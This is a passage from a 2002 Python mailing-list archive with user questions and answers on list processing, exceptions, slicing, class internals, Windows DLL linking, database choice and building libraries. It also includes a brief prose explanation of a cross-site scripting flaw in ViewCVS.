(Python collects 8*20 MB + 40 MB and at the end it deletes this 200 MB junk); or does Python collect 20MB, removes the 20MB (71x12 array is negligible here), goes on to the next 20MB and removes the 20MB, and so on.... S. Gonzi From kseehof at neuralintegrator.com Sat May 4 06:32:10 2002 From: kseehof at neuralintegrator.com (Ken Seehof) Date: Sat, 04 May 2002 03:32:10 -0700 Subject: Using functional tools In-Reply-To: <3CD39DAD.D5BC3F9C@vip.fi> Message-ID: Pekka Niiranen says: > I would like to feed every second (or 3rd or 4th .etc) item in a list > to > a function. > > list = ['a', 'b', 'c', 'd', 'e'] > > **some fancy map/filter -trick here** > => list = ['a', function('b'), 'c', function('d'), 'e'] > > Is there a (functional) way without using for or while -structures ? Okay, if you find obfuscation by functional programming as entertaining as I do, try this pattern: >>> def f(x): ... return x*10 ... >>> n = 3 >>> a = [1,2,3,4,5,6,7,8,9] >>> [((i+1)%n) and a[i] or f(a[i]) for i in range(len(a))] [1, 2, 30, 4, 5, 60, 7, 8, 90] > If I only manipulate every second line of a file with that function, > is there a faster way than reading the whole file into a list ?: Use file.xreadlines(). It acts like a list, but really it is reading lines as needed, so you aren't actually reading the whole file at once. > list = open ("myfile.txt", "rb").readlines() > **modify every 2nd line with set of functions** > ** write the whole list into a new file** > > The size of a file is max 2Mb. > > -pekka- Performing readlines on a binary file seems, um, strange to me. # untested code: f_in = open("myfile.txt", "r") f_out = open("myotherfile.txt", "w") xlines = f_in.xreadlines() i=0 n=2 for line in xlines: if (i+1)%n == 0: f_out.write(fnc(lines[i])) else f_out.write(line) f_in.close() f_out.close() From tdelaney at avaya.com Thu May 30 02:19:49 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Thu, 30 May 2002 16:19:49 +1000 Subject: Why no open(f, "w").write()? Message-ID: > From: Donn Cave [mailto:donn at drizzle.com] > > | 1. The documentation explicitly states that you cannot. > Anything else is an > | implementation artifact. > > The real Python _is_ implementation. We all know that you actually > can rely on timely finalization, and we can guess why the > documentation says what it says. Then get it documented to say that it can be relied on, now and forever. If you manage this, documented for all implementations of Python (obviously, from a particular version number), I will have no qualms with anyone using this type of construct on that version and later. Of course, it then introduces backwards-incompatibility. Until then I must consider any code using this type of construct as broken and unsafe. Especially since the documentation currently states that this cannot be relied on, and there is at least one implementation (Jython) where this is indeed not the case. I just find it amazing that so many people here are so careful about so many things, yet seem to have a complete blind spot on this issue. Why don't we have while a = file.readline(): pass while we're at it? After all, it's the same principle - you're trading off safety for saving a line or two. Tim Delaney From phd at phd.pp.ru Tue May 21 06:00:12 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Tue, 21 May 2002 14:00:12 +0400 Subject: "One Bullet is never enough" Paper In-Reply-To: <3CE9FF2F.DD6CF828@cascade-sys.com>; from jb@cascade-sys.com on Tue, May 21, 2002 at 01:02:55AM -0700 References: <3CE68BAA.726DA1A6@engcorp.com> <3CE88785.B9042718@tundraware.com> <838z6epblf.fsf@panacea.canonical.org> <3CE9BC7F.A3565ADE@tundraware.com> <3CE9C990.3064C01C@cascade-sys.com> <20020521143354.Q4474@regdp-02.intint.registriesltd.com.au> <3CE9FF2F.DD6CF828@cascade-sys.com> Message-ID: <20020521140012.I7968@phd.pp.ru> Hi! On Tue, May 21, 2002 at 01:02:55AM -0700, James J. Besemer wrote: > I'm no big fan of MS but as a businessman I appreciate and respect their > position in the market. I don't. They achived their positoin by using lie, spreading FUD, buying rivals, forcing (abusing their power) other companies to do thing in their favor, etc... > Whether you agree or not, their economic power is something to be reckoned > with. What about their political power? > It's > the quintessential American Success Story -- after all they started out > just 12 geeks in a room, writing software for the 8008. Alas, the real story of M$ is not so nice. They didn't wrote MS DOS - they bought it and resell to IBM. Then they climbed unto success on the shoulders of IBM, they used IBM, and then threw IBM away like a soaked lemon. If this is typical American Success Story, I don't want American Success Stories. > From this standpoint, people who view MS as "evil" or some big scary bogey > man, ARE simply being childish, neglecting many practical and realistic > issues. Call me "childish", call me "idealist", call me "merely dumb idiot", but I don't want to take the reality for granted. It are we the people who created and still are creating and recreating the reality. There are many thing in the reality I want to change, and M$ is one of those things. To change the reality I do many "childish", "idealisti", "idiotic" things - I am writing Free Software, I am using Free Software, I am popularizing Free Software, I am helping people to understand Free Software, to install it and use it. And watch the fun - the reality is changing around me! > You want bogey men? What about IBM, who spends more in marketing > each year than MS grosses in revenue? What about Big Oil, controlling > about 10% of the GNP? By last count, 100% of US oil companies today are > direct descendants of Rockafeller's Standard Oil. What about Big > Government? 20-25% of the GNP. MS's large fraction of the computer > industry is nothing by comparison. If they play the game by rules and laws - I don't care about them. M$ is abusing their power more and more, and this must be stopped. Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From s.schwarzer at ndh.net Sat May 18 08:57:09 2002 From: s.schwarzer at ndh.net (Stefan Schwarzer) Date: Sat, 18 May 2002 14:57:09 +0200 Subject: How to propagate an exception ? References: <409a56e2.0205180428.44ddc3e0@posting.google.com> Message-ID: <3CE64FA5.A7B67B3A@ndh.net> Hello Shagshag Shagshag wrote: > How do you propagate an exception ? Is there a way to raise the > previous exception raised after doing something ? > > Here what i would like to do : > > try: > some_parsing_with_minidom(from_a_line) > except SAXParseException: # (1) > # there are trouble in my file such as & instead of & > # and other things which prevent correct parsing but > # i don't know where and what cause my trouble > print index_of_line, line > raise SAXParseException #<- should be the one i intercept in (1) Simply use raise: try: some_parsing_with_minidom(from_a_line) except SAXParseException: # (1) # there are trouble in my file such as & instead of & # and other things which prevent correct parsing but # i don't know where and what cause my trouble print index_of_line, line raise #<- should be the one i intercept in (1) <- it is :-) Stefan From aleax at aleax.it Wed May 1 03:50:58 2002 From: aleax at aleax.it (Alex Martelli) Date: Wed, 01 May 2002 07:50:58 GMT Subject: Slice objects with negative increment References: Message-ID: Huaiyu Zhu wrote: ... > Summarization of the rules left as an exercise to the reader. :-) > When the bounds are out of range, the rules are not very obvious, in fact. Funny, I find them clear. For a sequence of length L, valid indices are -len(L) included to len(L) excluded (any index n<0 indicates just the same item as n+len(L)). In slicing, an index "off to the left", i.e. some n < -len(L), is equivalent to "the first item included"; an index "off to the right", i.e. some n >= len(L) is equivalent to "the last item included". This is just the same whether the slice's stride is <0 or >0. Alex From paul at boddie.net Thu May 23 11:59:09 2002 From: paul at boddie.net (Paul Boddie) Date: 23 May 2002 08:59:09 -0700 Subject: Python cross-site scripting exploits? References: Message-ID: <23891c90.0205230759.614e2655@posting.google.com> Robin Becker wrote in message news:... > [Cross-site scripting exploit in ViewCVS] > Can some wizard kindly explain exactly how the client CGI is made > responsible for security defence against bad URLs. It seems to me that > the client browser should be responsible, but apparently not. I haven't read up on these kinds of exploits, but what seems to happen in this case is that some additional content gets posted to the application (CGI program), and due to lack of "validation", this content gets generated by the application "as is". Since this content is now considered by the browser to have originated from the application (or rather, its site), the cookie information associated with that site is available to the additional content, and when some JavaScript in that content presents the cookie information to another site, the browser considers this as intentional behaviour of the application in question. > The alleged fix seems to involve more complete argument checking, is > that required for any such defence? What should the request response be? Argument checking and validation is the key here - never let your application generate inputs from untrusted sources (ie. every source) in the form they were received, regardless of where the output is going to be used. Having said that, it is surprising that bizarre, and potentially illegal, URLs can be passed to servers in this way. Paul From cliechti at gmx.net Sun May 19 21:44:43 2002 From: cliechti at gmx.net (Chris Liechti) Date: 20 May 2002 03:44:43 +0200 Subject: Odd problem with I/O redirection under Windows References: Message-ID: Peter wrote in news:MPG.1751f29eea0a0866989682 at news.sover.net: > Hello! > > I just wrote a Python program that starts out with > > text = sys.stdin.readlines() > > This behaves itself fine when I run the program interactively and type > the input manually. However when I do something like: > > C:\> myscript < somefile.txt > > I get: > > Traceback (most recent call last): > File "C:\home\prog\Python\myscript.py", line 30, in ? > text = sys.stdin.readlines() > IOError: [Errno 9] Bad file descriptor > > I'm using the "standard" Python v2.2 download for Windows. > > Curiously when I try running the very same program using Cygwin's python > v2.2 in a bash shell on the same machine it works fine. Thus I'm > thinking this might have something to do with how the Windows Python is > handling the console. I'm running Win2k if that matters. > > Any thoughts? this thread/message might be of interest (one line): http://groups.google.com/groups?hl=en&lr=&ie=utf-8&oe=utf- 8&selm=a6oad3%24lai%240%40216.39.172.122&rnum=6 i'm sure there are other threads about this when you search on google.groups.com you're not the first one with that problem ;-) chris -- Chris From DeepBleu at DeepBleu.org Mon May 6 17:06:41 2002 From: DeepBleu at DeepBleu.org (DeepBleu) Date: Mon, 6 May 2002 16:06:41 -0500 Subject: Python vs. Perl, which is better to learn? References: <3CD60E05.D9D8C1A6@engcorp.com> Message-ID: "John J. Lee" wrote in message news:Pine.SOL.4.30.0205062138200.23130-100000 at mimosa.csv.warwick.ac.uk... > On Mon, 6 May 2002, DeepBleu wrote: > [...] > > I can not understand how anyone can even recommend Perl, a beat up clunky > > ugly language, for a project in a modern setting. > > Perl has masses of free library code. If there's reusable code in Perl > and not in Python, it makes sense to use Perl. Admittedly, that didn't > stop me porting a package from Perl recently, just so I could use Python > instead... > I know. In my work I seem to be able to find what I need in Python. So maybe I never had the chance to actually *need* to use Perl. I only wrote one program in Perl years ago. A CGI program. Before I shelved the Perl documentation and re-did the project in C++. Then I moved altogether into Python. I believe that Perl manages to remind me of long sleepless boring nights trying to finish a school project for a rude professor. For some reason, Ruby does the same thing to me. It must be all the $ and @ signs. Python on the other hand does not create such bad feelings in me :-) I know, this does not make for a good reason for why someone should choose Python over Perl and Ruby. But what do I care! This whole 'choice thing' based on 'pure object oriented' feelings seems to work just fine with me :-) DeepBleu > > John > From fperez528 at yahoo.com Fri May 17 18:33:23 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Fri, 17 May 2002 16:33:23 -0600 Subject: how to write function that returns function References: <4f52f844.0205141503.40000c50@posting.google.com> <4f52f844.0205171428.50029adc@posting.google.com> Message-ID: Paul Graham wrote: > but it is considered ugly, and the canonical way to > do this seems to be by defining a class: > > class foo: > def __init__(self, n): > self.n = n > > def __call__(self, i): > self.n += i > return self.n ^^^ I think you mean: return self Cheers, f. From aleax at aleax.it Sat May 4 01:57:22 2002 From: aleax at aleax.it (Alex Martelli) Date: Sat, 04 May 2002 05:57:22 GMT Subject: Is there a way to 'mask out' inherited methods? References: Message-ID: <6LKA8.2676$zW3.60822@news1.tin.it> Steve Holden wrote: ... >> >>> b = B() >> Traceback (most recent call last): >> File "", line 1, in ? >> File "vector1.py", line 47, in __init__ >> del self.mA >> AttributeError: 'B' object attribute 'mA' is read-only >> >> So, what's that? >> > Well I'm only going to put a toe in this water, as this stuff is pretty > new. Alex can set you straight is necessary. New-style classes appear > (from this error message :-) to bind method names much more rigidly than > classis classes. They are therefore not amenable to the same naughty games > you could classically play with your classes and objects. It's just a clearer and more precise error message -- you couldn't do this in classic classes either: [alex at arthur alex]$ /usr/bin/python Python 2.0 (#1, Apr 11 2001, 19:18:08) [GCC 2.96 20000731 (Linux-Mandrake 8.0 2.96-0.48mdk)] on linux-i386 Type "copyright", "credits" or "license" for more information. >>> class A: ... def mA(self): print 'mA' ... >>> class B(A): ... def __init__(self): ... del self.mA ... >>> b=B() Traceback (most recent call last): File "", line 1, in ? File "", line 3, in __init__ AttributeError: delete non-existing instance attribute >>> "non-existing" was maybe a bit too strong; "read-only" may be a better description. But the gist is the same! Despite the threatening rumblings heard throughout the latter half of the year 2001, new-style classes actually came out with an amazing level of compatibility to classic ones, including support for most of the dirty tricks you could play. When you notice a difference, it's generally because the role of metaclass vs class vs instance has been made more regular and logical. For example: when I write x(), where should Python look for a __call__ special method to call? Used to be: if x is a class, then only the metaclass was considered; but if x was an instance, then first the instance was examined, then, failing that, the class. (And similarly for other special methods). Now, it's become totally regular: when looking for a special method, x itself is NOT examined, but its class is (if x is a class, x's class is the metaclass, of course). So, x() is never affected (in the new object model) by whether x itself has a __class__ attribute or not. [and similarly for other specials]. But none of this affects the OP's problems. >> I've already heard that the 'attribute resolving-' or >> 'attribute access-'methodology changed in 2.2, i.e. >> there are now special 'descriptor objects' for that >> purpose. However, I don't understand what's going on. >> > Me neither. Where is Alex when you need him? Heroically here writing when I should go get coffee instead (not 8AM yet here...). Descriptors regularize things but don't affect the "way to mask out inherited methods" -- __getattribute__ was added so you can now do that (slowly:-) where earlier you could not, and you could try your hand at writing a custom metaclass for such masking purposes (not trivial), but by far the best approach remains as it always was to eschew inheritance when it does not meet your needs in favour of automatic (possibly selective) delegation/aggregation/containment. Alex From donald.braman at yale.edu Thu May 9 17:32:21 2002 From: donald.braman at yale.edu (don) Date: Thu, 9 May 2002 14:32:21 -0700 Subject: ODBC v. mxODBC Message-ID: Anyone prefer one module to the other? Why? -Don From sholden at holdenweb.com Tue May 7 08:39:55 2002 From: sholden at holdenweb.com (Steve Holden) Date: Tue, 7 May 2002 08:39:55 -0400 Subject: What makes code "readable"? (was Re: Python vs. Perl, which is better to learn?) References: <20020507000637.23324.92190.Mailman@mail.python.org> Message-ID: "Terry Hancock" wrote ... > > Mark McEahern wrote: > > When I was looking at that "readable" Perl > > code which George pointed us to (some comments > > probably forthcoming from me in a reply to his > > post, but in any event thanks George! :) I started > > to ponder that question. > > > > "What makes code readable?" > > > > (Actually it was "why do I still not find this highly > > readable?") > > > > One thing that occurred to me was that the Perl code had a > > very high number of "transitions" between punctuation and > > text. > > > > Effectively every line, and sometimes literally > > a dozen times within a line, text and symbols are > > mixed. Not just the odd parenthesis or period, but > > great streams of that infamous Perl "line noise". > > > > I think a high "symbol-set-transition rate" (please > > offer a better term) leads to low readability. > > > > Punctuation itself also inherently lowers > > readability, I believe, which is a reason I find > > assembly easier to read than Perl, though clearly > > less productive. > > Oh I dont know I think its just possible though sometimes > difficult for me to articulate if articulate is the right > word which it might be but I digress lets get back to the > point I think punctuation actually does lend a lot of > readability in both programs and prose Indeed I always find > it pretty annoying when people leave punctuation out of > their email posts and I suspect you know what I mean by > now This is particularly relevant when there are many twists > and turns to be followed as in this passage with parenthetical > clauses and in highly nested code > > ;-) > > Seriously, though I think that punctuation aides readability. > Of, ((course- $if %there[''s"] (((too *much@) of!) #it), +it, {can; {get}} [in]- +the ~way~ `as`) \well). [...] a-place-for-everything-and-everything-in-its-place-ly y'rs - steve -- Steve Holden: http://www.holdenweb.com/ ; Python Web Programming: http://pydish.holdenweb.com/pwp/ From Gabe.Newcomb at noetix.com Wed May 22 15:57:57 2002 From: Gabe.Newcomb at noetix.com (Gabe Newcomb) Date: Wed, 22 May 2002 12:57:57 -0700 Subject: newbie question Message-ID: <0C7CA8D8DF75494EB09AB6016990107F016F5CE5@NOXMAIL.noetixad.com> works for me. Using the interactive prompt, just remember to use Ctrl^Z (on my windows box at least) to signal EOF to stdin. you may just want to use input()... good luck, Gabe -----Original Message----- From: Michael Bauers [mailto:MichaelB at firstlogic.com] Sent: Wednesday, May 22, 2002 12:51 PM To: python-list at python.org Subject: newbie question Why doesn't the following work? How is 'stdin' different than objects returned from 'file()' ? import sys x = sys.stdin.xreadlines() -- http://mail.python.org/mailman/listinfo/python-list From zopestoller at thomas-guettler.de Fri May 17 06:50:41 2002 From: zopestoller at thomas-guettler.de (Thomas Guettler) Date: Fri, 17 May 2002 12:50:41 +0200 Subject: pygtk vs. wxPython Message-ID: <3CE4E081.10908@thomas-guettler.de> Hi! I investigated during the last weeks which is better: +pygtk or wxpython. After programming some code with both libraries, I prefer pygtk. I prefere pygtk because wxpython has an extra layer in the library stack: wxpython -- wxwindows -- wxgtk -- gtk pygtk -- gtk Do others share or disagree with this oppinion? How well does pygtk run on windows? The FAQ: ""1.4. Where can I get PyGTK for Windows? (Assuming you really want to do this, you should be aware that PyGTK works reasonably well on Windows, much to the credit of GTK+, Python and PyGTK developers and porters) ... """ Has some one experience with pygtk on windows? Which problems did you have? thomas From ptkwt at shell1.aracnet.com Sat May 25 13:06:16 2002 From: ptkwt at shell1.aracnet.com (Phil Tomson) Date: 25 May 2002 17:06:16 GMT Subject: Ruby for Newbie?! References: <91acf731.0205200939.41e89a8f@posting.google.com> Message-ID: In article <91acf731.0205200939.41e89a8f at posting.google.com>, Jason Voegele wrote: >Scrumpy wrote in message >news:... >> I want to learn a programming language. > > >> Finally, is there a good Ruby book aimed at newbie programmers (not >> existing programmers new to Ruby)? > >It has not yet been released, but Pete McBreen, author of "Software >Craftmanship", is currently writing a Ruby book aimed at newbie >programmers. Until this book is completed, the next best thing would >be Dave Thomas' and Andrew Hunt's "Programming Ruby", which is >available online at: > >http://www.rubycentral.com/book/ > Actually, Mark Slagell's "Teach Yourself Ruby in 21 days" would probably be a good choice for newbie programmers. Phil From donn at drizzle.com Sun May 19 22:29:10 2002 From: donn at drizzle.com (Donn Cave) Date: Mon, 20 May 2002 02:29:10 -0000 Subject: OT: Crazy Programming References: Message-ID: <1021861744.911558@yasure> Quoth "Steve Holden" : ... | But we have no way to distinguish between physical properties and social | interactions, since the only ways we can communicate involve agreement about | the ground-rules. It is, for example, very difficult to engage in | philosophical discussions with a determined solipsist, who sees all | perceptions as generated by the operation of her own senses - that is, | "objective reality" is produced by the operation of the human brain. | Therefore you are, to a solipsist, simply a manifestation of their own | thought processes, and have no objective (i.e. external) reality atr all. ... | Our ignorance is absolute. We can only agree to agree, or to disagree. And | no matter how much we agree, this does not affect the nature of "objective | reality", which we can never perceive directly. Oh, stuff. If you suppose that there's some objective reality, then surely you got the idea from various compelling evidences of its existence. This experience is the operation of your senses, for sure, but it's still what you know as objective reality. You don't have any reason to believe there's anything else more real than this, unless you want to be mystical. Donn Cave, donn at drizzle.com From tdelaney at avaya.com Thu May 30 19:36:25 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Fri, 31 May 2002 09:36:25 +1000 Subject: Where can I find .join() in the docs Message-ID: > From: Emile van Sebille [mailto:emile at fenx.com] > > > Good point. How many people feel that the Python docs would be > improved > > by the addition of an index? And in case the response is > overwhelming, > > who currently manages the docs so I could volunteer to work on an > index? > > > > That would be Fred Drake. > > But indexing isn't the full answer. Ask a newbie to wade through > > http://web.pydoc.org/2.2/search.cgi?key=join > > to see what I mean, although the ActivePython Documentation index gets > closer. Thomas Heller's search page works *very* well ... http://starship.python.net/crew/theller/pyhelp.cgi?keyword=join&version=curr ent Tim Delaney From jeff at ccvcorp.com Wed May 29 19:33:42 2002 From: jeff at ccvcorp.com (Jeff Shannon) Date: Wed, 29 May 2002 16:33:42 -0700 Subject: python script doesn't check cwd during import References: Message-ID: In article , Inyeol Lee says... > I'm using python2.2.1 on Solaris8. > When I launch a python script, it imports modules from the directory > where the script is, not from current directory. For example, [...] > > Is it a bug or a feature? It's a feature. Think what might happen when you package your code and install it on some end-user machine. Do you really want the code that's imported to depend on whatever that user happened to have as his working directory at the time he executed your script? -- Jeff Shannon Technician/Programmer Credit International From shalehperry at attbi.com Sun May 12 23:30:56 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Sun, 12 May 2002 20:30:56 -0700 (PDT) Subject: which db should I use? In-Reply-To: Message-ID: > > I have a project that I want to do with python. It involves a database > table with some 100,000 rows, total size about 400MB and climbing. I > will be adding about 700 rows a day, and occasionally want to do a > query, but only occasionally. (I am putting all the posts from an active > newsgroup in to a db for data gathering, and to learn python and sql > stuff) But I don't know which db module would work better for me?I am > running this on a linux box, and cross platform is not a big deal, I am > looking at both postgres and mysql. Since I have 0 experience with > either one especially in context of interfacing with python. I'd like > suggestions please. > This is really a Ford v. Chevy v. Toyota kind of question. Each side has reasons they think theirs is the best but in the end they are all pretty much similar. From aleax at aleax.it Sun May 5 14:13:48 2002 From: aleax at aleax.it (Alex Martelli) Date: Sun, 05 May 2002 18:13:48 GMT Subject: Creating C modules for Python under Cygwin References: <3CD41CC4.5752F30C@wag.caltech.edu> Message-ID: Martin v. L?wis wrote: > Alex Martelli writes: > >> So, it's PERFECTLY feasible on Windows for a DLL to access symbols that >> are defined in the executable that loads said DLL, by any of several >> means. > > That's very interesting indeed. In http://python.org/sf/551093, Jason > Tischler argues that you absolutely must build Python with a shared > Python DLL, or else it can't possibly work. I thought this was > overstated, but didn't dare question the "common knowledge" that you > can only link against DLLs, not executables. I'm not sure what Cygwin or other versions of gcc for Windows can do. With Microsoft Visual C++, the "common knowledge" is however misplaced. >> I really can't see that. A standalone python.exe might be less than >> optimal for other reasons > > I wonder what those "other reasons" could be, though. What exactly > *is* the rationale for Python using a DLL on Windows? A typical example of "a good reason to keep Python in a DLL" would be if several different applications (.EXE's), not just Python.exe, embedded Python. With Python in a shared library, every extension can be linked just once, against the DLL, and will be usable with any application that embeds Python through that DLL. If extensions were linked against Python.EXE, they'd have to be relinked separately for every embedding-application that wants to have those extensions available. I don't know if there are all that many .EXE's embedding Python on Windows, nor if that was the reason for the (perfectly reasonable) choice to build Python itself as a DLL there. Just expounding on the "less than optimal for other reasons" comment I made above -- I realize not everybody's been "blessed" with doing systems-level development and consulting on Windows for many years (how I pity you all poor, deprived developers who had to stick to Linux, BSD, &c...!), so these tradeoffs may be not clear at all to many readers, since they _are_ quite different from those involved with .so's on Linux &c. Alex From webmaster at apologetyka.com.pl Wed May 1 16:39:24 2002 From: webmaster at apologetyka.com.pl (Jaros³aw Zabie³³o (delete .PL)) Date: Wed, 01 May 2002 22:39:24 +0200 Subject: Polymorphing - how? Message-ID: I would like to execute functions which names will be changed during runtime. The following approach does not work. :-( def First(s): print "myFun1: %s" % s def Second(s) print "myFun2: %s" % s name = 'First' name('blah') # It doesn't work. :-( # TypeError: 'str' object is not callable name = 'Second' name('blah') # Like above. The following code in PHP does work: Is it possible for Python? -- Jaros?aw Zabie??o (UIN: 6712522) URL: http://3585753410/~zbiru From martin at v.loewis.de Wed May 29 18:49:12 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 30 May 2002 00:49:12 +0200 Subject: C Extensions: calling across extensions References: <3CF54D3F.71CA58A9@cpsc.ucalgary.ca> Message-ID: Maxwell Sayles writes: > do i need to do special declarations for importing and exporting > functions across shared objects for python extension modules? do i need > to compile with a -l option? In general, you can't share symbols across extension modules. You have the following alternatives: 1. use sys.setdlopenflags (in Python 2.2) to set the flags to RTLD_GLOBAL. Notice that this may cause other problems. 2. Create a shared library that contains the code shared across the extension modules, and link both extension modules with the shared code. 3. Use the C API to call the code in A from B, just as if you would call the code in A from any Python module. 4. Use the CObject to share a C-level API between A and B; see cStringIO.c for an example (cStringIO_CAPI). HTH, Martin From brian at rt.net Wed May 29 14:02:12 2002 From: brian at rt.net (Brian) Date: 29 May 2002 11:02:12 -0700 Subject: gdchart-py Compiling Problems on HP-UX Message-ID: <4538256b.0205291002.bb0d9eb@posting.google.com> I'm trying to get gdchart-py 0.6 running on my server under HP-UX 10.20, and have had no luck so far. I downloaded the sources for gdchart-py 0.6, libpng 1.2.3, zlib 1.1.4, and GNU make 3.79.1. Making zlib with the default makefile seemed to work just fine. Doing a "make test" on libpng (using a copy of makefile.hpux with only the ZLIBLIB, ZLIBINC and prefix variables changed as appropriate) also seems to work fine. When I do a "make install", however, I get the error 'ld: Invalid loader fixup for symbol "$00000016".' I found what appeared to be an old version of libpng already in one of our library directories, so I decided to skip compiling libpng and go straight to gdchart-py. I made progress when I got it using the new GNU make instead of the default make we have on our system (making GNU make also went through without a problem). While in the gdchart-py-0.6/gd-1.8.4 directory, however, I get stuck with a bunch of errors that look like as: "/var/tmp/cca13823.s", line 187: warning 36: Use of %fr9R is incorrect for the current LEVEL of 1.0 as: "/var/tmp/cca13823.s", line 220: error 1052: Directive name not recognized - PARAM There are about 20 "warning 36" lines for every "error 1052" line. The make process finally dies with: make[1]: *** [gd.o] Error 1 make[1]: Leaving directory `/opt/gdchart-py/gdchart-py-0.6/gd-1.8.4' make: *** [gd-1.8.4/libgd.a] Error 2 I cannot seem to progress beyond this point. I am pretty new to the complexities of compiling large programs like this and any help with this process would be greatly appreciated. I'm also not above taking the easy path -- If anybody could pass along precompiled binaries for gdchart-py 0.6 and libpng 1.2.3 on HP-UX 10.20 that would be ideal. Finally, we're going to be moving the whole system to HP-UX 11 in a month or two. Will the same binaries work on the new system, or will I have to (attempt) recompiling them all over again? Thanks in advance, -- Brian From mlh at vier.idi.ntnu.no Sat May 4 06:14:07 2002 From: mlh at vier.idi.ntnu.no (Magnus Lie Hetland) Date: Sat, 4 May 2002 10:14:07 +0000 (UTC) Subject: Returning Fault instances in xmlrpc Message-ID: >From skimming the standard docs and the source of xmlrpclib I get the impression that a Fault expression should be raised (in the client) when a Fault instance is returned from the server... But as far as I can see, this doesn't happen. However, if I run loads directly on a dumps representation of a fault object, the correct Fault exception *is* raised (as the docstring says). If I raise a Fault exception in the server, then it is also raised on the client side -- is this the way to go? (Will then a proper fault value be returned to non-Python clients?) (BTW: What happens when I return a Fault instance is that the unmarshalled value is a dictionary with the fault member keys/values.) -- Magnus Lie Hetland The Anygui Project http://hetland.org http://anygui.org From juenglin at informatik.uni-freiburg.de Fri May 3 03:00:51 2002 From: juenglin at informatik.uni-freiburg.de (Ralf Juengling) Date: 03 May 2002 09:00:51 +0200 Subject: Passing on variable arguments Message-ID: Hi, how do I pass on a variable number of arguments. For instance: class A: def m(self, *args): pass class B(A): def m(self, *args): # do sth with *args # pass them on to superclass method B.m(self, ????) Regards, Ralf From dkt at registriesltd.com.au Tue May 21 21:28:47 2002 From: dkt at registriesltd.com.au (David K. Trudgett) Date: Wed, 22 May 2002 11:28:47 +1000 Subject: Is python really slow? In-Reply-To: <60FB8BB7F0EFC7409B75EEEC13E20192B98BD8@admin56.narex.com>; from BPettersen@NAREX.com on Tue, May 21, 2002 at 07:12:19PM -0600 References: <60FB8BB7F0EFC7409B75EEEC13E20192B98BD8@admin56.narex.com> Message-ID: <20020522112847.D4474@regdp-02.intint.registriesltd.com.au> On Tuesday 2002-05-21 at 19:12:19 -0600, Bjorn Pettersen wrote: > I'm not a Perl expert, but from what I hear it is considerably harder to > extend/embed Perl (someone please correct me if I'm wrong ). I've never looked into extending Python with C in terms of its difficulty, but I can say that doing it in Perl is a real pain in the proverbial. No doubt, once one is up to speed on it, it would probably be less of a hassle, but for a new user, especially one with little C experience, it can be daunting. David Trudgett From emile at fenx.com Mon May 13 19:18:11 2002 From: emile at fenx.com (Emile van Sebille) Date: Mon, 13 May 2002 23:18:11 GMT Subject: How to solve diophantine problems? References: Message-ID: Joshua, Y.J. Lai > I can roughly solve the diophantine problem by using a nest loop I'm not familiar with the "diophantine problem" and didn't, in a quick look, spot anything obvious to me stating it. > ex. > def td(x): > "The number of balls used to construct a tetrahedron" > return x*(x+1)*(x+2)/6 > > def tri(y): > "The number of balls used to construct a triangle" > return y*(y+1)/2 > > for x in xrange(100): > for y in xrange(100): > a=td(x) > b=tri(y) > if a==b!=0: > print "x = %d and y = %d , number = %d" % (x,y,a) > ---------------------------------------------------------------------- ------ > ------- > But if I want to limit the maximum amount of balls (k) in this question > then I will add an additional line: > k=input("Please define the Max of balls: ") you'll want this to be raw_input > However, I do not know how to write the checking loops in this case? > Because, the x and y are uncertain now. Could anyone please kindly help me. I think you want to limit the sum of a and b to k? Does this do it?: if a and a == b and a+b <= k: print "x = %d and y = %d , number = %d" % (x,y,a) HTH, Emile van Sebille emile at fenx.com From timr at probo.com Sun May 12 01:01:41 2002 From: timr at probo.com (Tim Roberts) Date: Sat, 11 May 2002 22:01:41 -0700 Subject: NameError: Case mismatch for module name sys References: <3cdbe559$0$155@ams2eusosrv31.ams.ops.eu.uu.net> <3cdbeff9$0$154@ams2eusosrv31.ams.ops.eu.uu.net> <3CDC888D.E2681CD@engcorp.com> Message-ID: Peter Hansen wrote: >Martin Erren wrote: >> >> > > import traceback, sys >> > > >> > > "NameError: Case mismatch for module name sys" >> > > (filename lib\Sys\Sys.py) >> > > >> > > I don't need "Sys" in the package, >> > > but "sys" in the python-standard lib. >> >> I'm not, too. In fact, this is written for Windows. I want to say: >> Don't take Sys.py in package Sys, but "sys" in Standard-Lib. >> Or say: "Always look in python-standard lib first" >> >> When this is not possible, I try to write a wrapper in another package. > >You could do this, though it's pretty ugly: > >import sys >if sys.path[0] == '': > sys.path.remove('') > sys.path.append('') I only see one little problem with your suggested fix: the basic problem is that he cannot "import sys" in the first place. If your fix actually worked, he wouldn't need it. I don't see any way around his issue without renaming his Sys.py. If Sys is already imported, then the Python "import sys" is always going to find the already loaded one, and won't ever try to find another. Right? -- - Tim Roberts, timr at probo.com Providenza & Boekelheide, Inc. From sheershion at mailexpire.com Tue May 14 14:45:29 2002 From: sheershion at mailexpire.com (Robert Amesz) Date: Tue, 14 May 2002 18:45:29 -0000 Subject: Simple question about how the optimizer works References: <83u1pbicuf.fsf@panacea.canonical.org> Message-ID: Tim Roberts wrote: > Kragen Sitaker wrote: > >>Simon Brunning writes: >>> I can't see how this optimisation could be automated - function >>> f may or may not have side effects. >> >>Checking whether f has side effects can be automated. > > Can it? Isn't that a variant of the Turing stopping problem? Not really, because recursion - direct or indirect - can be detected, and that branch of the checking tree can be safely chopped off (you can't get _more_ potential side effects by calling the same function twice). The process is therefore guaranteed to terminate. Robert Amesz From daldridge at austin.rr.com Sun May 19 08:33:00 2002 From: daldridge at austin.rr.com (David Aldridge) Date: 19 May 2002 05:33:00 -0700 Subject: Problems importing _sre w/VC7-compiled Python 2.1 References: Message-ID: <597ee21d.0205190433.59938215@posting.google.com> Sorry if this gets double posted -- RoadRunner puked on my sending earlier, so it's straight-to-Google time! Anyway, your suggestions were spot on (and so obvious that I should slap myself...) Using dumpbin showed that all of the modules I compiled contained *NO* exports. Adding an /EXPORT: setting to the linker line "fixed" the problem, but that shouldn't be necessary, as the appropriate functions are __declspec(dllexport). Bizarro... *sigh* Guess it's time to spend a year figuring out how/why exports are broken. Bah, Microsoft. Bah. David sjmachin at lexicon.net (John Machin) wrote in message news:... > "RoadRunner eNews" 